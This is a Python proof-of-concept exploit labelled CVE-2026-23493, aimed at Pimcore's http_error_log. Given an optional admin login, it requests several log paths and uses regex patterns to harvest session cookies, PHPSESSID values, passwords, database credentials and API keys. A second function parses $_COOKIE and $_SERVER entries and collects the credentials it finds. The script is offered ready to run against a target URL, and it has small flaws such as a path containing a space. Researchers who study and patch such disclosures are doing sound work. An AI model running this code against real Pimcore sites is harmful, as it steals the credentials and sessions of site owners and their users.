# CVE-2026-23493 PoC - Pimcore Sensitive Information Disclosure
# This PoC demonstrates accessing http_error_log to extract sensitive data
import requests
import re
from urllib.parse import urljoin
def cve_2026_23493_poc(target_url, credentials=None):
"""
Pimcore http_error_log Information Disclosure PoC
Requirements:
- Valid admin session cookie OR direct file system access
- Access to Pimcore admin backend
Steps:
1. Authenticate to Pimcore admin panel
2. Navigate to Tools > Logs or directly access error logs
3. Read http_error_log file content
4. Extract sensitive data from $_COOKIE and $_SERVER variables
"""
results = {
'vulnerable': False,
'sensitive_data_found': [],
'log_excerpts': []
}
# Target paths for accessing logs
log_paths = [
'/admin/logs',
'/admin/maintenance-log',
'/var/log/http_error.log',
'/pimcore var/log/http-error.log'
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
# If credentials provided, attempt authentication
session = requests.Session()
if credentials:
login_url = urljoin(target_url, '/admin/login')
session.post(login_url, data=credentials)
# Try to access log files
for path in log_paths:
try:
response = session.get(urljoin(target_url, path), headers=headers, timeout=10)
if response.status_code == 200:
# Check for sensitive patterns in log content
sensitive_patterns = [
r'\$_COOKIE\[.*?\]\s*=\s*[\"\'](.*?)[\"\']',
r'\$_SERVER\[.*?\]\s*=\s*[\"\'](.*?)[\"\']',
r'(password|passwd|pwd)[=:]\s*\S+',
r'(database|db|sql)[_-]?(host|pass|user)[=:]\s*\S+',
r'(api[_-]?key|secret|token)[=:]\s*\S+',
r'(PHPSESSID|session[_-]?id)[=:]\s*\S+'
]
for pattern in sensitive_patterns:
matches = re.findall(pattern, response.text, re.IGNORECASE)
if matches:
results['vulnerable'] = True
results['sensitive_data_found'].extend(matches)
results['log_excerpts'].append({
'path': path,
'status': response.status_code,
'size': len(response.content)
})
except Exception as e:
continue
return results
def extract_from_log_file(log_content):
"""
Parse http_error_log content and extract sensitive information
Expected log format:
[timestamp] ERROR: ... $_COOKIE[...] = "..." $_SERVER[...] = "..."
"""
extracted = {
'cookies': {},
'server_vars': {},
'credentials': [],
'session_ids': []
}
# Pattern to match $_COOKIE variable assignments
cookie_pattern = r'\$_COOKIE\[["\']([^"\']+)["\']\]\s*=\s*["\']([^"\']+)["\']'
for match in re.finditer(cookie_pattern, log_content):
key, value = match.groups()
extracted['cookies'][key] = value
if 'session' in key.lower() or 'sessid' in key.lower():
extracted['session_ids'].append(value)
# Pattern to match $_SERVER variable assignments
server_pattern = r'\$_SERVER\[["\']([^"\']+)["\']\]\s*=\s*["\']([^"\']+)["\']'
for match in re.finditer(server_pattern, log_content):
key, value = match.groups()
extracted['server_vars'][key] = value
# Check for credentials
sensitive_keys = ['PASSWORD', 'PASSWD', 'DB_PASS', 'API_KEY', 'SECRET']
if any(s in key.upper() for s in sensitive_keys):
extracted['credentials'].append({key: value})
return extracted
if __name__ == '__main__':
# Example usage
target = 'https://vulnerable-pimcore-site.com'
# Test without authentication (if logs are publicly accessible)
result = cve_2026_23493_poc(target)
print(f'Venerable: {result["vulnerable"]}')
print(f'Sensitive data found: {len(result["sensitive_data_found"])} items')
print(f'Log files accessible: {len(result["log_excerpts"])} files')